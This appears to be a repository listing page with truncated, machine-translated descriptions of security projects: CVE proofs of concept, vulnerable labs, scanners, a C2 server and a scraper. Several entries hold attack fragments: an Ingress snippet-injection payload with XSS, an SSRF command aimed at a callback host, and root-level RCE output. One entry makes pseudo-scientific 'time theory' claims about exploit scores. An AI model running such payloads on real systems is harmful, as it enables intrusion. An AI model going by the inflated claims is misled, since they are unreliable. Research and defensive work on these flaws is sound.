CVE-2024-7646

CVE-2024-7646 CVE-2024-7646 の PoC apiVersion: networking.k8s.io/v1 kind: Ingress metadata: name: example-ingress annotations: nginx.ingress.kubernetes.io/server-snippet: | addheader X-Pwn-Header "Pwn\r\n HTTP/1.1 200 OK Content-Type: text/html alert'XSS'; --------"; return 200 "PWNed"; spec: rule...

react2shell-lab

React2Shell 취약점 실습 환경 이것은 CVE-2025-55182 및 CVE-2025-66478React Server Components RCE 테스트를 위한 의도적으로 취약하게 만든 Next.js 애플리케이션입니다. ⚠️ 경고 : 이 애플리케이션은 의도적으로 취약합니다. 격리된 실습 환경에서만 사용하세요. 취약점 세부 정보 CVE-2025-55182 / CVE-2025-66478 : Next.js React Server Components의 원격 코드 실행 영향받는 버전 : React Server Components 및...

CVE-2021-41773-Apache-RCE

CVE-2021-41773-Apache-RCE 在 Apache HTTP Server 2.4.49 的路径规范化变更中发现了一个缺陷。攻击者可以使用路径遍历攻击，将 URL 映射到由类似 Alias 指令配置的目录之外的文件。如果这些目录外的文件没有受到通常默认配置 "require all denied" 的保护，这些请求可能会成功。如果还为这些别名路径启用了 CGI 脚本，则可能导致远程代码执行。已知该问题已在野外被利用。此问题仅影响 Apache 2.4.49，不影响早期版本。Apache HTTP Server 2.4.50 中的修复被证实不完整，请参见...

CVE-2011-2523

CVE-2011-2523 - vsftpd 2.3.4 익스플로잇 설명 Very Secure FTP Daemon vsftpd는 Linux를 포함한 Unix 계열 플랫폼을 위한 FTP 서버입니다. GNU General Public License 조건에 따라 배포됩니다. IPv6 및 SSL을 지원합니다. 2011년 7월, 마스터 사이트에서 다운로드할 수 있었던 vsftpd 버전 2.3.4가 손상된 것으로 밝혀졌습니다. 해킹된 vsftpd-2.3.4 서버에 로그인하는 사용자는 사용자 이름으로 : 웃는 얼굴을 입력하여 포트 6200에서 ...

lk_scraper

LinkedIn Scraper Scrapes Any LinkedIn Data Installation $ pip install git+git://github.com/jqueguiner/lkscraper Setup Using Docker compose $ docker-compose up -d $ docker-compose run lkscraper python3 Using Docker only for Selenium server First, you need to run a Selenium server $ docker run -d -...

React2Shell-CVE-2025-55182

CVE-2025-55182 - React2Shell | | | / \ / | | / || | | | | | | | | | | | / | | | | \ | || | | | | | | | | / \ | | | / / | | || || | || \// \| || ||/|| ||||| CVE-2025-55182 React Server ComponentsRSC용 원격 코드 실행 스캐너 크레딧 역할| 이름| 링크 ---|---|--- 원본 연구| Lachlan Davidson| github.com/lachlan2k 원본 PoC...

CVE-2025-55182-scanner

Сканер поверхности экспозиции React Server Components CVE-2025-55182 Специализированный, неинвазивный детектор поверхности для CVE-2025-55182 RCE в React Server Components. ⚠️ Критический технический контекст Прочтите это перед сканированием: Хотя CVE-2025-55182 является критической уязвимостью RC...

CVE-2024-21893.py

CVE-2024-21893는 Ivanti Connect Secure 9.x, 22.x 및 Ivanti Policy Secure 9.x, 22.x 및 Ivanti Neurons for ZTA의 SAML 구성 요소에 있는 서버 측 요청 위조 취약점으로, 공격자가 인증 없이 특정 제한된 리소스에 액세스할 수 있게 합니다. run python CVE-2024-21893.py -u target.com -a http://xxxxxxxxx.oastify.com RCE POST /dana-ws/saml20.ws HTTP/1.1 Host:...

BabyShark

ВВЕДЕНИЕ Это базовый C2-сервер общего назначения, написанный на Python с использованием Flask. Код основан на идее проекта GTRS, который использует Google Translator в качестве прокси для отправки команд заражённому хосту. Проект BabyShark направлен на централизацию обратных соединений с агентами...

CVE-2022-26134

CVE-2022-26134 Confluence Server 및 Data Center - CVE-2022-26134 - Critical 심각도의 인증되지 않은 원격 코드 실행 취약점 요약| CVE-2022-26134 - Critical 심각도의 인증되지 않은 원격 코드 실행 취약점 Confluence Server 및 Data Center ---|--- 영향받는 제품| Confluence Confluence Server Confluence Data Center 영향받는 버전| 지원되는 모든 Confluence Server 및 Da...

dsa

Go의 crypto/dsa 취약점CVE-2016-3959 요약 Alex Mullins 2016년 4월 9일 소개 최근 Go 프로그래밍 언어용 DSADigital Signature Algorithm 암호 라이브러리에서 버그가 발견되었습니다. 이 글에서는 버그의 세부 내용과 공격자가 이를 이용하여 기본 DSA 라이브러리를 사용해 클라이언트를 인증하는 표준 Go SSH 서버에 대해 서비스 거부 공격을 시작할 수 있는 방법을 살펴보겠습니다. 이 취약점에 대한 첫 번째 언급은 Open Source Securityoss-sec 메일링...

MS_T120

MST120 CVE-2019-0708 PoC를 단계별로, 하루하루 만들어 가세요 https://docs.microsoft.com/en-us/openspecs/windowsprotocols/ms-rdpbcgr/5073f4ed-1e93-45e1-b039-6e30c385867c...

Spring4Shell-POC

Spring4Shell-POC CVE-2022-22965 Spring4Shell CVE-2022-22965 Доказательство концепции/Информация + Уязвимый Tomcat сервер с уязвимым spring4shell приложением. Сегодня рано утром несколько источников сообщили о возможном RCE-эксплойте в популярном Java-фреймворке Spring. Название этой уязвимости...

CVE-2024-22263_Scanner

CVE-2024-22263Scanner 윤리적 사용을 위해서만 사용하십시오. 유해하거나 악의적인 활동은 허용되지 않으며, 모든 책임은 사용자 본인에게 있습니다. CVE-2024-22263: Spring Cloud Dataflow 임의 파일 쓰기 사용법 ██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██╗ ██╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗██║ ██║...

stunner

STUNNER Stunner — это инструмент для тестирования и эксплуатации STUN, TURN и TURN поверх TCP серверов. TURN — это протокол, в основном используемый в видеоконференциях и аудиочатах WebRTC. Если вы найдёте неправильно настроенный сервер, вы сможете использовать этот инструмент для запуска...

aioScan_CVE-2020-0796

aioScanCVE-2020-0796 서문 공개된 POC를 기반으로 코루틴을 활용하여 탐지 속도를 크게 향상시켰으며, 운영 엔지니어들이 빠르게 내부 네트워크를 탐지할 수 있도록 도와줍니다. 영향을 받는 버전 Windows 10 Version 1903 for 32-bit Systems Windows 10 Version 1903 for x64-based Systems Windows 10 Version 1903 for ARM64-based Systems Windows Server, Version 1903 Server Core...

Krawl

Krawl 기만적인 웹 페이지, 가짜 자격 증명, 카나리 토큰을 통해 공격자와 웹 크롤러의 악성 활동을 탐지하고 추적하도록 설계된 현대적이고 사용자 정의 가능한 웹 허니팟 서버입니다. 목차 데모 Krawl이란? Krawl 대시보드 배포 모드 Krawl 차단 목록 빠른 시작 Docker 실행 Docker Compose Kubernetes Uvicorn Python 구성 config.yaml 환경 변수 악성 IP 차단 IP 평판 리버스 프록시 또는 CDN 뒤에서 실행 메트릭 및 모니터링 추가 문서 AI를 이용한 기만 기여 데모 팁...

DNSnitch

DNSnitch 고지 사항 이 도구는 제가 직접 사용하려고 만든 것이며, 필요하다면 다른 분도 사용할 수 있도록 공개해 둔 것입니다. 버그를 발견하면 이슈를 열어 주세요! 인터랙티브 터미널 DNS 방화벽 DNSnitch는 네트워크 트래픽을 완전히 제어할 수 있게 해주는 로컬, 프라이버시 우선 DNS 서버입니다. 수동적인 차단 목록과 달리 DNSnitch는 "Default Deny" 철학을 따릅니다. 즉, 실시간 터미널 대시보드에서 승인하기 전까지 모든 알 수 없는 도메인은 기본적으로 차단됩니다. 주요 기능 실시간 차단 : 로컬...

CVE-2025-55182-PoC-exploit

CVE-2025-55182-PoC-exploit React Server Functions를 통한 Next.js RCE ❯ python3 cve-2025-55182-exploit.py 0:"a":"$@1","f":"","b":"3OmR5Ifk9dmFJ1coB7-Wc" 1:E"digest":"uid=0root gid=0root groups=0root,0root,1bin,2daemon,3sys,4adm,6disk,10wheel,11floppy,20dialout,26tape,27video"...

CTT-Serverless-RCE-v1.0---Convergent-Time-Theory-Enhanced-MCP-Exploit

hi CTT-Serverless-RCE-v1.0---수렴-시간-이론-강화-MCP-익스플로잇 Serverless Framework MCP 서버 CVE-2025-69256 기본 점수: 9.4/10 → CTT 향상 점수: 9.9/10 CTT 시간적 공명으로 향상된 Serverless Framework의 MCPModel Context Protocol 서버에서 발생하는 중요한 명령 주입 취약점으로, 전례 없는 신뢰성과 회피를 제공합니다. 🌀 CTT-MCP-RCE v1.0 - 수렴 시간 이론 강화 Serverless Framework...